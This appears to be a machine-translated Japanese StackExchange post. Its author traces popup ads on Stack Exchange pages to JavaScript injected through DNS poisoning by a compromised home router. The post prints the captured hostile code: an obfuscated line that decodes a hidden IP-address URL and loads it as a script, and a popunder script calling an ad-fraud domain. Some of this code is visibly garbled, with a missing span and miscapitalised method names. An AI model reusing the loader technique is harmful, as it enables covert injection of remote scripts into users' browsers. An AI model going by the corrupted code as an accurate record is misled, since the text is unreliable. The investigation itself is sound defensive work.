最近、かなり厄介な問題を発見しました。StackExchangeサイトで最初にクリックするたびに、広告ポップアップが作成されます。これは、デスクトップ、ラップトップ、電話、さらにはVMでも発生します。これはStack Exchangeの新しい広告機能であると結論付け、影響を受けたのは私だけであることが判明するまでmeta.stackexchange ......で不満を言いました。
自分のコンピュータにウイルスを許可するのが不注意だったと信じたくなかった(そして私の会社の「セキュリティの専門家」であると主張する自我のために)ために、根本的な原因を調査しました。私が観察した:
これにより、これがネットワークの問題であると考えるようになりました。HTTPでクリアテキストとして転送されている間に、誰かが悪意のあるJavaScriptをHTMLドキュメントのどこかに挿入しました。約30分のネットワークトラフィックのキャプチャと分析の後、コードのこの部分がStack Exchangeページの下部にあることがわかりました。
(function () {
var ssl='https:'==document.location.protocol,
s=document.getElementsByTagName('script')[0],
qc=document.createElement('script');
qc.async = true;
qc.src = (ssl ? 'https://secure' : 'http://Edge') + '.quantserve.com/quant.js';
s.parentNode.insertBefore(qc, s);
_qevents.Push({ qacct: "p-c1rF4kxgLUzNc" });
var sc=document.createElement('script');
sc.async=true;
sc.src=(ssl?'https://sb':'http://b') + '.scorecardresearch.com/beacon.js';
s.parentNode.insertBefore(sc, s);
_comscore.Push({ c1: "2", c2: "17440561" });
})();
ブラウザーに悪意のあるJavaScriptの読み込みを開始します。
beacon.js
がHTTPS経由でロードされている場合、これは1行に縮小された細かいJavaScriptです。ただし、HTTP経由でロードされた場合は、2行目が追加されます。
!function(){var e=function(){if(document&&document.body&&document.body.appendChild){var e="getElementById";if("undefined"==typeof window[e]&&-1==document.cookie.indexOf(e)){var n=new Date;n.setTime(n.getTime()),document.cookie=e+"=1; expires="+new Date(n.getTime()+864e5).toGMTString()+"; path=/;";var t=document.createElement("script");t.src=decodeURIComponent("%68%74%74%70%3a%2f%2f%31%30%33%2e%31%36%2e%32%33%30%2e%31%36%35%2f%73%74%61%74%73%2f%58%43%51%36%37"),document.body.appendChild(t);window[e]=1;}}};document.addEventListener&&document.addEventListener("DOMContentLoaded",e),e()}();
これは、以下を含むhttp://103.16.230.165/stats/XCQ67
を読み込む難読化された方法です。
function PopShow3(){if(!check){check=!0;var e=navigator.cookieEnabled,o="http://onclickads.net/afu.php?zoneid=658311";if(e&&(clickUnderCookie=GetCookie("clickunder"),null===clickUnderCookie||clickUnderCookiec;){var t=c+n;if(document.cookie.substring(c,t)==o)return getCookieVal(t);if(c=document.cookie.indexOf(" ",c)+1,0==c)break}return null}function SetCookie(e,o){var n=SetCookie.arguments,i=SetCookie.arguments.length,c=i>2?n[2]:null,t=i>3?n[3]:null,r=i>4?n[4]:null,u=i>5?n[5]:!1;document.cookie=e+"="+escape(o)+(null==c?"":"; expires="+c.toGMTString())+(null==t?"":"; path="+t)+(null==r?"":"; domain="+r)+(1==u?"; secure":"")}function getCookieVal(e){var o=document.cookie.indexOf(";",e);return-1==o&&(o=document.cookie.length),unescape(document.cookie.substring(e,o))}count=parseInt(3),check=!1;document.onmouseup=PopShow3;
今、私が広告を見ていたのも不思議ではありません。
問題は、この発見の意味です。ここにいくつかの可能性があります:
scorecardresearch.com
はジオキャストを使用してネットワークを高速化しています。ホストサーバーの1つが感染しています。 (誰もがそれを見ない理由を説明するでしょう)scorecardresearch.com
は悪意のあるものです。どういうわけかスタックExchangeのサーバー(またはネットワーク)が感染しています。 Stack Exchangeは、スクリプトにscorecardresearch.com
を含めることを意図したものではありません。差し当たり、scorecardresearch.com
をブロックしました。
私の推測では(4):scorecardresearch.com
のサーバーの1つが感染しています。ただし、(1)の結果は深刻です。また、誰もが影響を受けない理由も説明します。 (1)と(4)をさらに区別するにはどうすればよいですか?
私が見逃したことや、自分を守るためにすべきことはありますか?
私を正しい方向に向けてくれたAlexandar O'Maraに感謝します。小さなヒントでしたが、そこにたどり着きました。
私はドメインを使用してnslookup
を実行し、取得しました:
C:\Users\xxx>nslookup scorecardresearch.com
Server: router.asus.com
Address: 192.168.56.1
Name: scorecardresearch.com
Address: 103.16.230.165
C:\Users\xxx>nslookup sb.scorecardresearch.com
Server: router.asus.com
Address: 192.168.56.1
Non-authoritative answer:
Name: e2799.e7.akamaiedge.net
Address: 23.198.112.87
Aliases: sb.scorecardresearch.com
sb.scorecardresearch.com.edgekey.net
返されるアドレスは、悪意のあるコンテンツをホストしているアドレスとまったく同じです。 DNSポイズニング。
それはどうしてですか?誰かが近くのネットワーク上の偽のDNSサーバーを宣伝する楽しみを持っている必要があります。いいえ、ルーターの設定を再確認しました。
「VPNサーバー」機能と「WANからの管理者アクセス」機能の両方がルーターで有効になっていることを指摘しました。これは、質問を書いた数時間前のことです。私は疑いを持たずにそれらを無効にしました。私はそれをしばらく有効にし、それを忘れていたに違いないと思いました。今、私はその理由を知っています。
ケースは閉じています(=